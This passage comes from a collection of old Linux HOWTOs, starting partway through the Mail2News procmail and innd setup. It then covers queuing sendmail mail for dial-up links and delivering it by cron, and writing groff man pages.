$postinghost = "your.news.server";   # points at your news server
  • Make sure that the script is exectuable:
    chmod 755 /usr/local/bin/mail2news


Mail2News Mini-Howto: Procmail

 Next Previous Contents

5. Procmail

The procmail config file is at /.procmailrc. If you don't already have a procmailrc file, just create one.

Make an entry for each mailing list that is to be gated to your local news server. Something like this will do the trick for most cases, but might fail for mail Bcc'd to the mailing list.

For example if your mailing list is 'jokes@netizen.com.au' and you want the newsgroup to be called 'lists.jokes' your entry would look like this:

:0
* TOjokes@netizen.com.au
|/usr/local/bin/mail2news lists.jokes

Note there's no space between the 'TO' and the list address on the second line.

You need to put a blank line between the lines for each group. Put as many entries as you want, using the same 3 lines for each group, but changing the list address and newsgroup.


Mail2News Mini-Howto: Setting up the news groups and news server (innd)

 Next Previous Contents

6. Setting up the news groups and news server (innd)

Using ctlinnd, create the newsgroups on your news server. Remember, these are to be local news groups, so start them with a distinctive name so you can filter them out from your news distributions (in your newsfeeds file).

You also need to tell innd that the group is moderated (by using ctlinnd). Remember, innd is very sensitive to file ownership and permissions, so you need to interct at this level with innd as the news user. Indicating a moderated group is done by specifying m to the newgroup command.

ctlinnd newgroup lists.jokes m

The m tells innd that the group is moderated.

Edit your newsfeeds file to make sure that these local groups are not distributed (unless you specificaly wish this to occur).

For example, if your mailing list is called local.site.group, then you would probably want to add !local* to the second field of your up (and possibly your down) stream news sites in your newsfeeds file.

Now, in order to ensure that user messages are sent to the list automatically by innd, edit /etc/news/moderators to include a line declaring the mailing list email address as the moderator.

lists.jokes:jokes@netizen.com.au


Mail2News Mini-Howto: If it doesn't work...

 Next Previous Contents

7. If it doesn't work...

If things don't work, you need to track through the path the messages are taking to see exactly where things are breaking down. Useful tools here are the mail and news logs.


Mail2News Mini-Howto: The Future

 Next Previous Contents

8. The Future

One problem with messages posted this way is they'll have a Newsgroups: header in them, and some other junk that the newsserver introduces. This isn't a major problem, but it makes the messages "messy". It'd be nice if some program could intercept them and re-write the headers before sending them on.


Linux Mail-Queue mini-HOWTO

Leif Erlingsson, leif@lege.com, Jan P Tietze, jptietze@mail.hh.provi.de

v2.03, 2001-12-17, sendmail 8.8.7

Queue Remote Mail + Deliver Local Mail The Configuration Changes Neccessary to Make Sendmail Deliver Local Mail ***Now*** While Stashing Remote Mail in The Queue Until "I Say So".

1. Introduction

2. NON dial-on-demand solutions PART

  • 2.1 Starting sendmail
  • 2.2 Configuring sendmail
  • 2.3 Menu support suggestions

3. Dial-on-demand solutions PART

  • 3.1 Configuring sendmail.cf
  • 3.2 Adding dial delay

4. Delivering e-mail

  • 4.1 How to have e-mail delivered at special times.

5. License


Linux Mail-Queue mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

The document is written by two authors. The NON dial-on-demand solutions part (oldest part) is written by Leif Erlingsson <leif@lege.com>, and the newer dial-on-demand solutions part is written by Jan P Tietze <jptietze@mail.hh.provi.de>.


Linux Mail-Queue mini-HOWTO: NON dial-on-demand solutions PART

 Next Previous Contents

2. NON dial-on-demand solutions PART

Written by Leif Erlingsson <leif@lege.com>.

The original version of this part contained a lot of unnecessary stuff. This is all it takes, really...

2.1 Starting sendmail

Slackware et al: /etc/rc.d/rc.M:

echo "Starting sendmail daemon (/usr/sbin/sendmail -bd -os) [queue only mode]..."
/usr/sbin/sendmail -bd -os      # NOT "-bd -q 15m", the "standard" flags!

RedHat et al: /etc/rc.d/init.d/sendmail.init:

echo -n "Starting sendmail: [queue only mode]"
daemon sendmail -bd -os         # NOT daemon sendmail -bd -q1h

The -os is not really essential, all it does is this:

SuperSafe [s] Be super-safe when running things, i.e.,
        always instantiate the queue file,  even  if
        you are going to attempt immediate delivery.
        Sendmail always instantiates the queue  file
        before  returning  control  the client under
        any  circumstances.   This   should   really
        always be set.

This should already be configured in the default sendmail.cf anyway.

2.2 Configuring sendmail

Serious sendmail users use the m4 source for this. I recommend this solution if you ever plan on upgrading sendmail and also make anything but trivial changes to sendmail.cf.

If you never intend to fix sendmail so envelope return headers et al works even though you might be on dynamic dial in IP or something, then you may not need to get the m4 source.

Configuring sendmail.cf directly, for trivial configurations

This way of doing things is extremeley version dependent vs. sendmail.cf versions. The following solution is *only* valid for sendmail-8.8.x.

Edit /etc/sendmail.cf:

# avoid connecting to "expensive" mailers on initial submission?
O HoldExpensive=True

... later ...

#####  @(#)smtp.m4      8.33 (Berkeley) 7/9/96  #####

Msmtp,          P=[IPC], F=mDFMuXe, S=11/31, R=21, E=\r\n, L=990,
                T=DNS/RFC822/SMTP,
                A=IPC $h
Mesmtp,         P=[IPC], F=mDFMuXae, S=11/31, R=21, E=\r\n, L=990,
                T=DNS/RFC822/SMTP,
                A=IPC $h
Msmtp8,         P=[IPC], F=mDFMuX8e, S=11/31, R=21, E=\r\n, L=990,
                T=DNS/RFC822/SMTP,
                A=IPC $h
Mrelay,         P=[IPC], F=mDFMuXa8e, S=11/31, R=61, E=\r\n, L=2040,
                T=DNS/RFC822/SMTP,
                A=IPC $h

The important flag above is ``e''. Don't fuss if the other flags look different in your file. Keep your flags as-is, only add ``e'' to your flags according to the above examples, unless it's there already. ``e'' marks the mailers as ``expensive''.

Configuring sendmail.cf using m4 source

In the following I will, for simplicity, assume that the sendmail version is 8.8.7. If you have a different version, replace 8.8.7 with that version number below! Also, the instructions will not work for older versions of sendmail. Get the latest sendmail!

Download the sendmail source. Try ``http://WWW.Sendmail.ORG'' or possibly ``ftp.sendmail.org''.

I also recommend that you obtain my patch for allowing envelope sender reverse aliasing and other nice stuff to really make you take control over your mail environment.

Write to ``Sendmail Patch <sendmail@lege.com>'', Subject: ``sendmail-8.8.7'', if 8.8.7 is your sendmail version.

They are also available from ``http://www.lege.com'', as is the sgml source of this mini-HOWTO!

You don't have to get my patches in order to get ``Queue Remote Mail + Deliver Local Mail'' to work. My patches solve other things. But I just thought this would be a nice place to mention them, as many Linux users will find them extremely useful. (They will even give you properly working virtual domains, if you like. The virtual domains don't have to be ``local''. They will give you ``xaliases'', or in other words ``reverse aliasing''.)

Unpack the sendmail source. You may get /usr/src/sendmail-8.8.7/. cd /usr/src/sendmail-8.8.7/cf

Now overlay my patch, if you want it, otherwise skip this step: If you don't want to use procmail as Local Delivery Agent, save away your /usr/src/sendmail-8.8.7/cf/ostype/linux.m4 before doing this... Save my patch to ``/tmp/sendmail-8.8.7-cf-cpio-idcmu.gz'', then...

cd /usr/src/sendmail-8.8.7/cf
gzip -dc < /tmp/sendmail-8.8.7-cf-cpio-idcmu.gz | cpio -idcmu
If you didn't want to use procmail, write back the saved copy of /usr/src/sendmail-8.8.7/cf/ostype/linux.m4 again.

And regardless of if you applied my patch or not, you must make sure these lines or very similar ones are added to /usr/src/sendmail-8.8.7/cf/cf/yourhostname.smtp.mc (but if you applied my patch you may want to investigate filenames containing the word ``elijah'', under /usr/src/sendmail-8.8.7/cf):

dnl # Defer Delivery to "expensive" mailers until next time the
dnl # queue is processed using "O HoldExpensive=True" and make
dnl # sure smtp mailers are "expensive".
dnl # (See original "sendmail" book Chapter 30: Options,
dnl # "Oc - Don't connect to expensive mailers", or
dnl # 2nd Edition "sendmail" book Chapter 34.8.29,
dnl # "HoldExpensive (c), Queue for expensive mailers".)
dnl #                           / Leif Erlingsson <leif@lege.com>
define(`confCON_EXPENSIVE', `True')
define(SMTP_MAILER_FLAGS, e)
MAILER(local)dnl
MAILER(smtp)dnl

2.3 Menu support suggestions

The 1.x versions of this document contained Menu support suggestions for /var/X11R6/lib/fvwm/system.fvwmrc. I have dropped those in the current version, but they are available on request:

Write to ``Menu support suggestions <fvwmrc@lege.com>'', Subject: ``Menu support suggestions''


Linux Mail-Queue mini-HOWTO: Dial-on-demand solutions PART

 Next Previous Contents

3. Dial-on-demand solutions PART

Written by Jan P Tietze <jptietze@mail.hh.provi.de>.

Many Linux users access the Internet through a dialup line, and many have decided to implement dial-on-demand facilities on their system. That is, whenever an IP packet of some sort has to leave the local network or the local host, the link to an Internet Service Provider (ISP) will automatically be established. The link will be dropped after some period of time that no packet has travelled across.

Although this is very comfortable and cost effective, there is one special case in which this is neither comfortable (as the time to bring up a "traditional" modem dialup is very noticeable) nor cost effective, and this is sending e-mail. E-Mail is commonly sent by SMTP, either delivered by your own system or through a SMTP host on the Internet that usually resides in your ISP's network.

With dialup lines, every time you send a message the link will have to be brought up. This is quite okay if you send only one message, but if you happen to create and send multiple messages, bringing up the line more than once can be tedious and cost ineffective. Also, if your ISP imposes limits as to what times you are allowed to login, this would also restrict you to postpone messages at certain times of the day, and you would have to manually send them later.

Section 1 of this document will solve the situation, however in situations where an external DNS lookup would cause the link up, the link will still be established even if e-mail is just being queued. The reason is that sendmail wishes to "canonify" host names.

The solution to this problem is twofold: First, we'll have to moderately change sendmail.cf. And then we have to define the process of actual mail delivery. Personally, I prefer to have cron do the job for me and describe the necessary changes below.

3.1 Configuring sendmail.cf

For the reasons stated in [1.2], I recommend modifying the m4 sources instead of editing sendmail.cf directly. It will actually save you a lot of hassle and make configuration changes more verbose.

First, perform all the changes described in the first part of this document. Then go through the dial-on-demand specific stuff.

Configuring sendmail.cf directly, for trivial configurations

Configuring directly is highly impractical and anything but verbose, but obviously, this is your decision.

Close to very bottom of your sendmail.cf should be a line that reads:

R$* < @ $* $~P > $*               $: $1 < @ $[ $2 $3 $] > $4

Precede that line with a "#" so that it reads

#R$* < @ $* $~P > $*              $: $1 < @ $[ $2 $3 $] > $4

Configuring sendmail.cf using the m4 source.

Add the following line to /usr/src/sendmail-8.8.7/cf/cf/yourhostname.smtp.mc:

FEATURE(nocanonify)dnl

Your final sendmail.cf can then be built by issuing the following commands. Remember to always back up your old /etc/sendmail.cf before installing the new one:

cp /etc/sendmail.cf /etc/sendmail.cf.bak
cd /usr/src/sendmail-8.8.7/cf/cf
m4 yourhostname.smtp.mc > /etc/sendmail.cf

3.2 Adding dial delay

It is oftentimes useful, especially when using modem lines, to have a dial delay installed. This means that if sendmail tries to initiate a connection in an attempt to send an e-mail (and this causes the line to go up) but the link actually takes more time to get established than what sendmail thinks should be a reasonable timeout, sendmail will simply wait some seconds and then retry.

Configuring sendmail.cf directly

Somewhere in your sendmail.cf could be a line that would read:

#O DialDelay=10s

(or very similar). Delete the ``#''. If there's no ``#'' at the beginning of the line, things should be considered okay (it just means this had already been enabled before).

If there is no such line in your sendmail.cf, add one (it is a wise thing to do to add this in the "options" part of the file):

O DialDelay=10s

Now change the ``10s'' part to the number of seconds you deem suitable.

Configuring sendmail.cf using m4 source

Add the following line to /usr/src/sendmail-8.8.7/cf/cf/yourhostname.smtp.mc:

define(`confDIAL_DELAY',`10s')

Now change the ``10s'' part to the number of seconds you deem suitable.

Your final sendmail.cf can then be built by issuing the following commands. Remember to always back up your old /etc/sendmail.cf before installing the new one:

cp /etc/sendmail.cf /etc/sendmail.cf.bak
cd /usr/src/sendmail-8.8.7/cf/cf
m4 yourhostname.smtp.mc > /etc/sendmail.cf


Linux Mail-Queue mini-HOWTO: Delivering e-mail

 Next Previous Contents

4. Delivering e-mail

E-Mail delivery can be invoked by issuing the command "sendmail -q". For those who are interested in what sendmail actually does, "sendmail -q -v" will give a more verbose version of the delivery process.

It is very convenient to automate the process of e-mail delivery. A tool commonly used for this process is cron.

4.1 How to have e-mail delivered at special times.

Edit your crontab:

crontab -e

Add lines of the form:

05 18-23,0-7    * * Mon,Tue,Wed,Thu,Fri /usr/sbin/sendmail -q
05 *            * * Sat,Sun             /usr/sbin/sendmail -q

Please refer to the crontab man page (available through "man 5 \ crontab") for further information. I think the format is pretty obvious. The example crontab entries shown above send e-mail (if, and only if, e-mail is available from the queue) 5 minutes after an hour on weekdays, starting at 6:05 pm, and stopping at 7:05 am. On weekends, e-mail is delivered 5 minutes after an hour, starting at 12:05 pm on Saturday, and stopping 11:05 pm on Sunday.

As a dial-on-demand user, it is sometimes desirable to have your system collect your e-mail via the POP3 protocol at certain times of the day. You could therefore add an entry similar to the following to your crontab:

0 21            * * * popclient -3 -u <your pop3 user name
goes here> -p <put your password here> -o /var/spool/mail/<the user
on your system that should receive the collected e-mail>
<mailhost.somedomain.com>

Of course, this should all go on a single line.

Then, save the file and leave the editor. The crontab should now be installed.


Linux Mail-Queue mini-HOWTO: License

 Next Previous Contents

5. License

This document is distributed under the terms of the GNU Free Documentation License. You should have received a copy along with it. If not, it is available from http://www.fsf.org/licenses/fdl.html.


Linux Man Page Howto

THE LINUX MAN-PAGE-HOWTO

Copyright 1995-2001 by Jens Schweikhardt, email: <howto at schweikhardt dot net>

http://www.schweikhardt.net/

See further information on copying conditions below.

$Id: man_page_howto.html,v 1.20 2001/10/28 15:30:22 schweikh Exp schweikh $

Click here to browse the author's latest version of this document. Corrections and suggestions welcome!

This HOWTO explains what you should bear in mind when you are going to write on-line documentation -- a so-called man page -- that you want to make accessible via the man(1) command. Throughout this HOWTO, a manual entry is simply referred to as a man page, regardless of actual length and without sexist intention.

Table of contents

  1. A few thoughts on documentation
  2. How are man pages accessed?
  3. How should a formatted man page look?
  4. How do I document several programs/functions in a singman page?
  5. Which macro package should I use?
  6. What preprocessors may I use?
  7. Should I distribute source and/or already formatted docutation?
  8. What are the font conventions?
  9. How do I polish my man page?
  10. How do I get a plain text man page without all that ^H^_ stuff?
  11. How do I get a high quality PostScript man page?
  12. How do I get apropos and whatis to work?
  1. Copying conditions
  2. Acknowledgements
  3. Changelog

1) A few thoughts on documentation

Why do we write documentation? Silly question. Because we want others to be able to use our program, library function or whatever we have written and made available. But writing documentation is not all there is to it:

  • Documentation must be accessible. If it's hidden in some non-standard place where the documentation-related tools won't find it -- how can it serve its purpose?
  • Documentation must be reliable and accurate. There's nothing more annoying than having program behaviour and documentation disagree. Users will curse you, send you hate mail and throw your work into the bit bucket, with the firm intent to never install anything written by that jerk again.

The historical and well known way documentation is accessed on UNIX is via the man(1) command. This HOWTO describes what you have to do to write a man page that will be correctly processed by the documentation- related tools. The most important of these tools are man(1), xman(1x), apropos(1), makewhatis(8) and catman(8). Reliability and accuracy of the information are, of course, up to you. But even in this respect you will find some ideas below that help you avoid some common glitches.

2) How are man pages accessed?

You need to know the precise mechanism for acccessing man pages in order to give your man page the right name and install it in the right place. Each man page should be categorized in a specific section, denoted by a single character. The most common sections under Linux, and their human readable names, are:

Section The human readable name
   1    User commands that may be started by everyone.
   2    System calls, that is, functions provided by the kernel.
   3    Subroutines, that is, library functions.
   4    Devices, that is, special files in the /dev directory.
   5    File format descriptions, e.g. /etc/passwd.
   6    Games, self-explanatory.
   7    Miscellaneous, e.g. macro packages, conventions.
   8    System administration tools that only root can execute.
   9    Another (Linux specific) place for kernel routine documentation.
   n    (Deprecated) New documentation, that may be moved to a more appropriate section.
   o    (Deprecated) Old documentation, that may be kept for a grace period.
   l    (Deprecated) Local documentation referring to this particular system.

The name of the man page's source file (the input to the formatting system) is the name of the command, function or file name, followed by a dot, followed by the section character. If you write the documentation on the format of the `passwd' file you have to name the source file `passwd.5'. Here we also have an example of a file name that is the same as a command name. There might be even a library subroutine named passwd. Sectioning is the usual way to resolve these ambiguities: The command description is found in the file `passwd.1' and the hypothetical library subroutine in `passwd.3'.

    Sometimes additional characters are appended and the file name looks for example like `xterm.1x' or `wish.1tk'. The intent is to indicate that this is documentation for an X Window program or a Tk application, respectively. Some manual browsers can make use of this additional information. For example xman will use `xterm(x)' and `wish(tk)' in the list of available documentation.

Please don't use the n, o and l sections; according to the File System Standard these sections are deprecated. Stick to the numeric sections. Beware of name clashes with existing programs, functions or file names. It is certainly a bad idea to write yet another editor and call it ed, sed (for smart ed) or red (for Rocky's ed). By making sure your program's name is unique, you avoid having someone execute your program but read someone else's man page, or vice versa. Checking out the Linux Software Map (LSM) database on a program name is a place to start ensuring name uniqueness.

Now we know the name to give our file. The next decision is the directory in which it will finally be installed (say, when the user runs `make install' for your package.) On Linux, all man pages are below directories listed in the environment variable MANPATH. The doc-related tools use MANPATH in the same way the shell uses PATH to locate executables. In fact, MANPATH has the same format as PATH. Each contains a colon-separated list of directories (with the exception that MANPATH does not allow empty fields and relative pathnames -- it uses absolute names only.) If MANPATH is not set or not exported, a default will be used that contains at least the /usr/man directory. To speed up the search and to keep directories small, the directories specified by MANPATH (the so-called base directories) contain a bunch of subdirectories named `man<s>' where <s> stands for the one-character section designator introduced in the table above. Not all of the sections may be represented by a subdirectory because there simply is no reason to keep an empty `mano' subdirectory. However, there may be directories named `cat<s>', `dvi<s>' and `ps<s>' which hold documentation that is ready to display or print. More on this later. The only other file in any base directory should be a file named `whatis'. The purpose and creation of this file will also be described under paragraph 12). The safest way to have a man page for section <s> installed in the right place is to put it in the directory /usr/man/man<s>. A good Makefile, however, will allow the user to chose a base directory, by means of a make variable, MANDIR, say. Most of the GNU packages can be configured with the --prefix=/what/ever option. The manuals will then be installed under the base directory /what/ever/man. I suggest you also provide a way to do something similar.

With the advent of the Linux File System Standard (FS-Stnd), things became more complicated. The FS-Stnd 1.2 states that

    "Provisions must be made in the structure of /usr/man to support manual pages which are written in different (or multiple) languages."

This is achieved by introducing another directory level that distinguishes between different languages. Quoting again from FS-Stnd 1.2:

    "This naming of language subdirectories of /usr/man is based on Appendix E of the POSIX 1003.1 standard which describes the locale identification string -- the most well accepted method to describe a cultural environment. The <locale> string is: <language>[_<territory>][.<character-set>][,<version>]"

(See the FS-Stnd for a few common <locale> strings.) According to these guidelines, we have our man pages in /usr/man/<locale>/man[1-9lno]. The formatted versions should then be in /usr/man/<locale>/cat[1-9lno] of course, otherwise we could only provide them for a single locale. HOWEVER, I can not recommend switching to that structure at this time. The FS-Stnd 1.2 also allows that

    "Systems which use a unique language and code set for all manual pages may omit the <locale> substring and store all manual pages in <mandir>. For example, systems which only have English manual pages coded with ASCII, may store manual pages (the man[1-9] directories) directly in /usr/man. (That is the traditional circumstance and arrangement in fact.)"

I would not switch until all tools (like xman, tkman, info and many others that read man pages) can cope with the new structure.

3) How should a formatted man page look?

Let me present you an example. Below I will explain it in detail. If you read this as plain text it won't show the different typefaces (bold and italics). Please refer to the paragraph "What are the font conventions?" for further explanations. Here comes the man page for the (hypothetical) foo program.

FOO(1)                     User Manuals                    FOO(1)

NAME
     foo - frobnicate the bar library

SYNOPSIS
     foo [-bar] [-c config-file ] file ...

DESCRIPTION
     foo  frobnicates the bar library by tweaking internal symbol
     tables. By default it parses all baz segments and rearranges
     them  in  reverse  order  by time for the xyzzy(1) linker to
     find them. The symdef entry is then compressed using the WBG
     (Whiz-Bang-Gizmo) algorithm.  All files are processed in the
     order specified.

OPTIONS
     -b   Do not write `busy' to stdout while processing.

     -c config-file
          Use the alternate system wide  config-file  instead  of
          /etc/foo.conf.   This overrides any FOOCONF environment
          variable.

     -a   In addition to the baz segments, also parse the  blurfl
          headers.

     -r   Recursive  mode.  Operates  as fast as lightning at the
          expense of a megabyte of virtual memory.

FILES
     /etc/foo.conf
          The system wide configuration file. See foo(5) for fur-
          ther details.
     ~/.foorc
          Per  user  configuration  file.  See foo(5) for further
          details.

ENVIRONMENT
     FOOCONF
          If non-null the full pathname for an  alternate  system
          wide foo.conf.  Overridden by the -c option.

DIAGNOSTICS
     The following diagnostics may be issued on stderr:

     Bad magic number.
          The input file does not look like an archive file.
     Old style baz segments.
          foo  can  only  handle  new  style  baz segments. COBOL
          object libraries are not supported in this version.

BUGS
     The command name should have been chosen more  carefully  to
     reflect its purpose.

AUTHOR
     Jens Schweikhardt <howto at schweikhardt dot net>
SEE ALSO
     bar(1), foo(5), xyzzy(1)

Linux                Last change: MARCH 1995                    2

Here's the explanation as I promised.

The NAME section

...is the only required section. Man pages without a name section are as useful as refrigerators at the north pole. This section also has a standardized format consisting of a comma-separated list of program or function names, followed by a dash, followed by a short (usually one line) description of the functionality the program (or function, or file) is supposed to provide. By means of makewhatis(8), the name sections make it into the whatis database files. Makewhatis is the reason the name section must exist, and why it must adhere to the format I described. In the groff source it must look like

.SH NAME foo \- frobnicate the bar library

The \- is of importance here. The backslash is needed to make the dash distinct from a hyphenation dash that may appear in either the command name or the one line description.

The SYNOPSIS section

...is intended to give a short overview on available program options. For functions this sections lists corresponding include files and the prototype so the programmer knows the type and number of arguments as well as the return type.

The DESCRIPTION section

...eloquently explains why your sequence of 0s and 1s is worth anything at all. Here's where you write down all your knowledge. This is the Hall Of Fame. Win other programmers' and users' admiration by making this section the source of reliable and detailed information. Explain what the arguments are for, the file format, what algorithms do the dirty jobs.

The OPTIONS section

...gives a description of how each option affects program behaviour. You knew that, didn't you?

The FILES section

...lists files the program or function uses. For example, it lists configuration files, startup files, and files the program directly operates on. It is a good idea to give the full pathname of these files and to make the install process modify the directory part to match user preferences: the groff manuals have a default prefix of /usr/local, so they reference /usr/local/lib/groff/* by default. However, if you install using 'make prefix=/opt/gnu' the references in the man page change to /opt/gnu/lib/groff/*

The ENVIRONMENT section

...lists all environment variables that affect your program or function and tells how, of course. Most commonly the variables will hold pathnames, filenames or default options.

The DIAGNOSTICS section

...should give an overview of the most common error messages from your program and how to cope with them. There's no need to explain system error error messages (from perror(3)) or fatal signals (from psignal(3)) as they can appear during execution of any program.

The BUGS section

...should ideally be non-existent. If you're brave, you can describe here the limitations, known inconveniences and features that others may regard as misfeatures. If you're not so brave, rename it the TO DO section ;-)

The AUTHOR section

...is nice to have in case there are gross errors in the documentation or program behaviour (Bzzt!) and you want to mail a bug report.

The SEE ALSO section

...is a list of related man pages in alphabetical order. Conventionally, it is the last section. You are free to invent other sections if they really don't fit in one of those described so far. So how exactly did you generate that man page? I expected that question, here's the source, Luke:

.\" Process this file with
.\" groff -man -Tascii foo.1
.\"
.TH FOO 1 "MARCH 1995" Linux "User Manuals"
.SH NAME
foo \- frobnicate the bar library
.SH SYNOPSIS
.B foo [-bar] [-c
.I config-file
.B ]
.I file
.B ...
.SH DESCRIPTION
.B foo
frobnicates the bar library by tweaking internal
symbol tables. By default it parses all baz segments
and rearranges them in reverse order by time for the
.BR xyzzy (1)
linker to find them. The symdef entry is then compressed
using the WBG (Whiz-Bang-Gizmo) algorithm.
All files are processed in the order specified.
.SH OPTIONS
.IP -b
Do not write `busy' to stdout while processing.
.IP "-c config-file"
Use the alternate system wide
.I config-file
instead of
.IR /etc/foo.conf .
This overrides any
.B FOOCONF
environment variable.
.IP -a
In addition to the baz segments, also parse the
blurfl headers.
.IP -r
Recursive mode. Operates as fast as lightning
at the expense of a megabyte of virtual memory.
.SH FILES
.I /etc/foo.conf
.RS
The system wide configuration file. See
.BR foo (5)
for further details.
.RE
.I ~/.foorc
.RS
Per user configuration file. See
.BR foo (5)
for further details.
.SH ENVIRONMENT
.IP FOOCONF
If non-null the full pathname for an alternate system wide
.IR foo.conf .
Overridden by the
.B -c
option.
.SH DIAGNOSTICS
The following diagnostics may be issued on stderr:

Bad magic number.
.RS
The input file does not look like an archive file.
.RE
Old style baz segments.
.RS
.B foo
can only handle new style baz segments. COBOL
object libraries are not supported in this version.
.SH BUGS
The command name should have been chosen more carefully
to reflect its purpose.
.SH AUTHOR
Jens Schweikhardt <howto at schweikhardt dot net>
.SH "SEE ALSO"
.BR bar (1),
.BR foo (5),
.BR xyzzy (1)

4) How do I document several programs/functions in a single man page?

Many programs (grep, egrep) and functions (printf, fprintf, ...) are documented in a single man page. However, these man pages would be quite useless if they were only accessible under one name. We cannot expect a user to remember that the egrep man page is actually the grep man page. It is therefore necessary to have the man page available under different names. You have several possibilities to achieve this:

  1. have identical copies for each name.
  2. connect all man pages using hard links.
  3. symbolic links pointing to the actual man page.
  4. use groff's `source' mechanism provided by the .so macro.

The first way is obviously a waste of disk space. The second is not recommended because intelligent versions of the catman program can save a lot of work by looking at the the file type or contents. Hard links will prevent catman from being clever. (Note that catman's purpose is to format all man pages so they can be displayed quickly.) The third alternative has a slight drawback: if flexibility is a concern, you have to be aware that there are file systems that do not support symbolic links. The upshot of this is that the Best Thing (TM) is using groff's source mechanism. Here's how to do it: If you want to have your man page available under the names `foo' and `bar' in section 1, then put the man page in foo.1 and have bar.1 look like this:

.so man1/foo.1

It is important to specify the man1/ directory part as well as the file name `foo.1' because when groff is run by the browser it will have the manual base directory as its current working directory (cwd) and groff interprets .so arguments relative to the cwd.

5) Which macro package should I use?

There are a number of macro packages especially designed for use in writing man pages. Usually they are in the groff macro directory /usr/lib/groff/tmac. The file names are tmac.<something>, where <something> is the argument to groff's -m option. Groff will use tmac.<something> when it is given the `-m <something>' option. Often the blank between `-m' and `<something>' is omitted so we may say `groff -man' when we are formatting man pages using the tmac.an macro package. That's the reason for the strange name `tmac.an'. Besides tmac.an there is another popular macro package, tmac.doc, which originated at the University of California at Berkeley. Many BSD man pages use it and it seems that UCB has made it its standard for documentation. The tmac.doc macros are much more flexible but alas, there are manual browsers that will not use them but always call groff -man. For example, all xman programs I have seen will screw up on man pages requiring tmac.doc. So do yourself a favor: use tmac.an -- use of any other macro package is considered harmful. tmac.andoc is a pseudo macro package that takes a look at the source and then loads either tmac.an or tmac.doc. Actually, any man page browser should use it but to this point, not all of them do, so it is best we cling to ye olde tmac.an. Anything I tell you from now on and concerning macros only holds true for tmac.an. If you want to use the tmac.doc macros anyway, here is a pointer to detailed information on how to use them: http://www.bsdi.com/bsdi-man There is a searchable index form on the page. Enter mdoc.samples and it will find you mdoc.samples(7), a tutorial sampler for writing BSD man pages. Some distros (I'm told) also come with mdoc(7), mdoc.samples(7) and groff_man(7).

The definitive dope for troff, with all macros explained, is the Troff User's Manual, available as html, PostScript (ps, 760K) or Portable Document Format (pdf, 240K). by Jospeh F. Ossanna and Brian W. Kernighan, revised November 1992. AT&T Bell Labs have made it publicly available. Don't forget to check out the late great W. Richard Steven's homepage (famous for Unix Network Programming as well as the TCP/IP Illustrated trilogy), who also has a list of Troff Resources including tbl, eqn, pic and other filters.

6) What preprocessors may I use?

Groff comes with at least three preprocessors, tbl, eqn, and pic (on some systems they are named gtbl, geqn and gpic.) Their purpose is to translate preprocessor macros and their data to regular troff input. Tbl is a table preprocessor, eqn is an equations/maths preprocessor and pic is a picture preprocessor. Please refer to the man pages for more information on what functionality they provide. To put it in a nutshell: don't write man pages requiring any preprocessor. Eqn will generally produce terrible output for typewriter-like devices, unfortunately the type of device 99% of all man pages are viewed on (well, at least I do). For example, XAllocColor.3x uses a few formulas with exponentiation. Due to the nature of typewriter-like devices, the exponent will be on the same line as the base. N to the power of two appears as `N2'. Tbl should be avoided because all xman programs I have seen fail on them. Xman 3.1.6 uses the following command to format man pages, e.g. signal(7):

gtbl /usr/man/man7/signal.7 | geqn | gtbl | groff -Tascii -man /tmp/xmana01760 2> /dev/null

which screws up for sources using gtbl, because gtbl output is fed again into gtbl. The effect is a man page without your table. I don't know if it's a bug or a feature that gtbl chokes on its own output or if xman could be a little smarter and not use gtbl twice. Furthermore, some systems use grog to determine what options to pass to groff. Unfortunately grog sometimes guesses wrong and recommends groff -t when in fact tbl must not be used. We are basically left with two workarounds for tables:

  1. Format the table yourself manually and put it between .nf and .fi lines so that it will be left unformatted. You won't have bold and italics this way but this beats having your table swallowed any day.
  2. Use any tbl macros you like but distribute the tbl output instead of the input. There is however this quirk with grog who thinks that any file containing a line starting with .TS requires tbl. Tbl output for some reason unbeknownst to me still contains .TS and .TE. It seems you can simply remove them and have the result still look okay. YMMV, so please test this with your particular man page.

I have yet to see a man page requiring pic preprocessing. But I would not like it. As you can see above, xman will not use it and groff will certainly do the funky wadakiki on the input.

7) Should I distribute source and/or already formatted documentation?

Let me give the pros (+) and cons (-) of a few selected possibilities:

  1. Source only:
    + smaller distribution package.
    - inaccessible on systems without groff.
  2. Uncompressed formatted only:
    + accessible even on systems without groff.
    - the user can't generate a dvi or postscript file.
    - waste of disk space on systems that also handle compressed pages.
  3. Compressed formatted only:
    + accessible even on systems without groff.
    - the user can't generate a dvi or postscript file.
    - which compression format would you use? .Z? .z? .gz? All of them?
  4. Source and uncompressed formatted:
    + accessible even on systems without groff.
    - larger distribution package
    - some systems may expect compressed formatted man pages.
    - redundant information on systems equipped with groff.

IMHO it is best to distribute source only. The argument that it's inaccessible on systems without groff does not matter. The 500+ man pages of the Linux Documentation Project are source only. The man pages of XFree86 are source only. The man pages from the FSF are source only. In fact, I have rarely seen software distributed with formatted man pages. If any sysadmin is really concerned about having man pages accessible then he also has groff installed.

8) What are the font conventions?

First of all: don't use direct font operators like \fB, \fP etc. Use macros which take arguments. This way you avoid a common glitch: forgetting the font change at the end of the word and having the bold or italic extend up to the next font change. Believe me, it happens more often than you think. The tmac.an macros provide the following type faces:

    .B Bold

    .BI Bold alternating with italics

    .BR Bold alternating with Roman

    .I Italics

    .IB Italics alternating with bold

    .IR Italics alternating with Roman

    .RB Roman alternating with bold

    .RI Roman alternating with italics

    .SM Small (scaled 9/10 of the regular size)

    .SB Small bold (not small alternating with bold)

X alternating with Y means that the odd arguments are typeset in X while the even arguments are typeset in Y. For example

    .BI "Arg 1 is Bold, " "Arg 2 is Italics, " "and Bold, " "and Italics."

The double quotes are needed to include white space into an argument; without them, no white space appears between the alternating typefaces. In fact, you'll only need the macros for alternating typefaces in cases where you want to avoid white space between typeface changes. So much for what's available. Here's how you should make use of the different typefaces: (portions shamelessly stolen from man(7))

Although there are many arbitrary conventions for man pages in the UNIX world, the existence of several hundred Linux-specific man pages defines our standards: For functions, the arguments are always specified using italics, even in the SYNOPSIS section, where the rest of the function is specified in bold:

    .BI "myfunction(int " argc ", char **" argv );

Filenames are always in italics, except in the SYNOPSIS section, where included files are in bold. So you should use

    .I /usr/include/stdio.h

and

    .B #include <stdio.h>

Special macros, which are usually in upper case, are in bold:

    .B MAXINT

When enumerating a list of error codes, the codes are in bold. This list usually uses the .TP (paragraph with hanging tag) macro as follows:

    .TP
    .B EBADF
    .I fd is not a valid file descriptor.
    .TP
    .B EINVAL
    .I fd is unsuitable for reading

